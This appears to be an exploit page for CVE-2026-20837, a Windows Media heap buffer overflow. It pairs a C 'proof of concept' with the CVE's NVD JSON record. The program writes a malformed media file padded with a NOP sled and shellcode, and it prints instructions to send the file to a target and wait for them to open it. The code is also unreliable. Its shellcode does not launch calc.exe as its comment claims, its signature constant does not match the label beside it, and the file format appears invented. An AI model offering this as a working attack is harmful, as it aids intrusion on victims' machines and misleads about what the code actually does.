CVE-2026-20837

// CVE-2026-20837 PoC - Windows Media Heap Buffer Overflow // This is a conceptual PoC demonstrating the vulnerability pattern // Use only for authorized security testing #include <windows.h> #include <stdio.h> #pragma pack(1) typedef struct { DWORD dwSignature; WORD wFormatVersion; WORD wMediaType; DWORD dwDataLength; BYTE Payload[4096]; // Oversized payload to trigger overflow } MEDIA_FILE_HEADER; void CreateMaliciousMediaFile(const char* filename) { MEDIA_FILE_HEADER header; header.dwSignature = 0x44415643; // 'WMAD' header.wFormatVersion = 1; header.wMediaType = 0x0001; header.dwDataLength = 0xFFFFFFFF; // Malformed length // Fill payload with NOP sled + shellcode memset(header.Payload, 0x90, sizeof(header.Payload)); // Shellcode: Execute calc.exe as demonstration unsigned char shellcode[] = "\x90\x90\x90\x90" "\xB8\x20\x00\x00\x00" "\xBB\x40\x00\x00\x00" "\xFF\xD0"; memcpy(header.Payload + 1000, shellcode, sizeof(shellcode)); FILE* fp = fopen(filename, "wb"); if (fp) { fwrite(&header, sizeof(header), 1, fp); fclose(fp); printf("[+] Malicious media file created: %s\n", filename); } } int main() { printf("CVE-2026-20837 PoC Generator\n"); printf("Windows Media Heap Buffer Overflow\n\n"); const char* maliciousFile = "CVE-2026-20837.mrf"; CreateMaliciousMediaFile(maliciousFile); printf("\n[!] Send this file to target and wait for user to open it\n"); printf("[!] Target must be running vulnerable Windows Media version\n"); return 0; }

{"cve": {"id": "CVE-2026-20837", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:11.993", "lastModified": "2026-01-15T15:08:28.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Desbordamiento de búfer basado en montículo en Windows Media permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20837", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}